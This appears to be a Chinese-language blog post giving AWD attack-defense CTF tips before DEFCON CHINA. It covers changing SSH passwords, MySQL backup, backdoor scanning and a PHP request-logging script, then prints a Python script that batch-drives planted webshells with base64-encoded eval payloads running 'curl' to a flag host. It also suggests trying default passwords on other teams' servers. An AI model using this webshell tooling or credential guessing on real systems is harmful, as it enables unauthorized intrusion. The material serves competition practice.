|
作为大一萌新我并没有打过AWD,可能我做梦都没有想到人生的第一场AWD是DEFCON CHINA吧~(滑稽 我自己在服务器上搭了一个cms来模拟AWD场景。 0X01 改ssh密码官方在给出服务器密码时,很有可能是默认的,需要赶快修改自己的密码并尝试能不能登陆别人的靶机,搞波事情嘿嘿嘿~ 0X02 dump源码首先可能没有给源码,需要自己把源码全dump下来。 1.使用XFTP或者FileZilla Client等图形化服务器管理软件
2.使用scp命令scp -r -P Port remote_username@remote_ip:remote_folder local_file
0X03 备份数据库1. 找配置文件
找到用户名和密码之后登陆mysql 2. 备份[root@localhost ~]# cd /var/lib/mysql (进入到MySQL库目录,根据自己的MySQL的安装情况调整目录) [root@localhost mysql]# mysqldump -u root -p Test>Test0809.sql,输入密码即可。 3. 还原法一: [root@localhost ~]# mysql -u root -p 回车,输入密码,进入MySQL的控制台"mysql>",输入命令"show databases;"。 看看有些什么数据库; 建立你要还原的数据库,输入"create database voice;",切换到刚建立的数据库,输入"use voice;",回车;导入数据,输入"source voice.sql;",回车,开始导入,再次出现"mysql>"并且没有提示错误即还原成功。 [root@localhost ~]# cd /var/lib/mysql (进入到MySQL库目录,根据自己的MySQL的安装情况调整目录) [root@localhost mysql]# mysql -u root -p Test<Test0809.sql,输入密码即可(将要恢复的数据库文件放到服务器的某个目录下,并进入这个目录执行以上命令|)。 moodle_bak.sql是需要恢复的文件名 0X04 拿到源码之后先D盾查杀
好吧这次什么明显的后门都没有,可能比较隐蔽。 0X05. seay扫洞
虽然没有什么用,但是至少有个审计的方向,往哪里看。 0X06. 上监控脚本本来按理说先放个通防waf的,但是听说十分容易被check down,最好不要乱动,有时候拿flag分还不如down的分多,这就很难受了。 这里上一个监控流量的脚本。需要在php文件前加个 require_once('waf.php');
贴监控脚本: <?php error_reporting(0); define('LOG_FILEDIR','./logs'); function waf() { if (!function_exists('getallheaders')) { function getallheaders() { foreach ($_SERVER as $name => $value) { if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value; } return $headers; } } $get = $_GET; $post = $_POST; $cookie = $_COOKIE; $header = getallheaders(); $files = $_FILES; $ip = $_SERVER["REMOTE_ADDR"]; $method = $_SERVER['REQUEST_METHOD']; $filepath = $_SERVER["SCRIPT_NAME"]; foreach ($_FILES as $key => $value) { $files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']); file_put_contents($_FILES[$key]['tmp_name'], "virink"); } unset($header['Accept']); $input = array("Get"=>$get, "Post"=>$post, "Cookie"=>$cookie, "File"=>$files, "Header"=>$header); logging($input); } function logging($var){ $filename = $_SERVER['REMOTE_ADDR']; $LOG_FILENAME = LOG_FILEDIR."/".$filename; $time = date("Y-m-d G:i:s"); file_put_contents($LOG_FILENAME, "\r\n".$time."\r\n".print_r($var, true), FILE_APPEND); file_put_contents($LOG_FILENAME,"\r\n".'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'], FILE_APPEND); file_put_contents($LOG_FILENAME,"\r\n***************************************************************",FILE_APPEND); } waf(); ?>
0X07. 审计根据seay扫出的一大波结果(虽然没什么用)审计啊审计啊还是审计啊~ 直接看也行,seay扫一下其实可能没有什么实质性的作用2333333 0X08. 时刻关注流量和积分榜时刻看着自己的分数,看到自己被down了就赶紧恢复,不管被删库还是被自己删了什么重要配置文件或者还是上的通用waf脚本过不了check。 然后就是查看流量了。 0X09. 写脚本批量拿分直接贴exp了: #!/usr/bin/python
#coding=utf-8
import sys,requests,base64
def loadfile(filepath):
try :
file = open(filepath,"rb")
return str(file.read())
except :
print "File %s Not Found!" %filepath
sys.exit()
def file_write(filepath,filecontent):
file = open(filepath,"a")
file.write(filecontent)
file.close()
def getflag(url,method,passwd,flag_path):
#flag机的url
flag_url="192.168.45.1"
#print url
#判断shell是否存在
try :
res = requests.get(url,timeout=3)
except :
print "[-] %s ERR_CONNECTION_TIMED_OUT" %url
file_write(flag_path,"[-] %s ERR_CONNECTION_TIMED_OUT\n\n" %url)
return 0
if res.status_code!=200 :
print "[-] %s Page Not Found!" %url
file_write(flag_path,"[-] %s Page Not Found!\n\n" %url)
return 0
#执行命令来获取flag system,exec,passthru,`,shell_exec
#a=@eval(base64_decode($_GET[z0]));&z0=c3lzdGVtKCJ3aG9hbWkiKTs=
cmd = "curl "+flag_url
#cmd = "whoami"
getflag_cmd ="echo system(\"%s\");"%cmd
data={}
if method=='get':
data[passwd]='@eval(base64_decode($_GET[z0]));'
data['z0']=base64.b64encode(getflag_cmd)
try:
res = requests.get(url,params=data,timeout=3)
#print res.url
if res.content:
content = url+"\n"+res.content+"\n\n"
file_write(flag_path,content)
print "[+] %s getflag sucessed!"%url
else :
print "[-] %s cmd exec response is null!"%url
content = url+"\ncmd exec response is null!\n\n"
file_write(flag_path,content)
except :
file_write(flag_path,"\n[+] %s Getflag Failed! You can check the shell's passwd!\n\n"%url)
print "[+] %s Getflag Failed! You can check the shell's passwd!"%url
elif method=='post':
data['pass']='Sn3rtf4ck'
data[passwd]='@eval(base64_decode($_POST[z0]));'
data['z0']=base64.b64encode(getflag_cmd)
try:
res = requests.post(url,data=data,timeout=3)
if res.content:
content = url+"\n"+res.content+"\n\n"
file_write(flag_path,content)
print "[+] %s getflag sucessed!"%url
else :
print "[-] %s cmd exec response is null!"%url
content = url+"\ncmd exec response is null!\n\n"
file_write(flag_path,content)
except:
file_write(flag_path,"\n[+] %s Getflag Failed! You can check the shell's passwd!\n\n"%url)
print "[+] %s Getflag Failed! You can check the shell's passwd!"%url
if __name__ == '__main__':
#存放flag的文件
flag_path="./flag.txt"
shellstr=loadfile("./webshell.txt")
list = shellstr.split("\r\n")
#print str(list)
i = 0
url={}
passwd={}
method={}
for data in list:
if data:
ls = data.split(",")
method_tmp = str(ls[1])
method_tmp = method_tmp.lower()
if method_tmp=='post' or method_tmp=='get':
url[i]=str(ls[0])
method[i]=method_tmp
passwd[i]=str(ls[2])
i+=1
else :
print "[-] %s request method error!" %(str(ls[0]))
file_write(flag_path,"[-] %s request method error!\n\n" %(str(ls[0])))
else : pass
#print str(len(url))
for j in range(len(url)):
#调用执行命令的模块
#print str(j)
#print "url is %s method is %s passwd is %s" %(url[j],method[j],passwd[j])
getflag(url=url[j],method=method[j],passwd=passwd[j],flag_path=flag_path)
print "Getflag finished!"
0x10. OVER!安利几个链接: 《CTF线下赛AWD模式下的生存技巧》 《论如何在CTF比赛中搅“shi”》 《CTF线下防御战 — 让你的靶机变成“铜墙铁壁”》 AWD攻防赛webshell批量利用框架 针对ctf线下赛流量抓取(php)、真实环境流量抓取分析的工具 AWD攻防赛脚本集合 CTFDefense 就这些了,DEFCON CHINA注定是被打爆的,就当去北京旅游了orz...de DEFCON CHINA 再会! |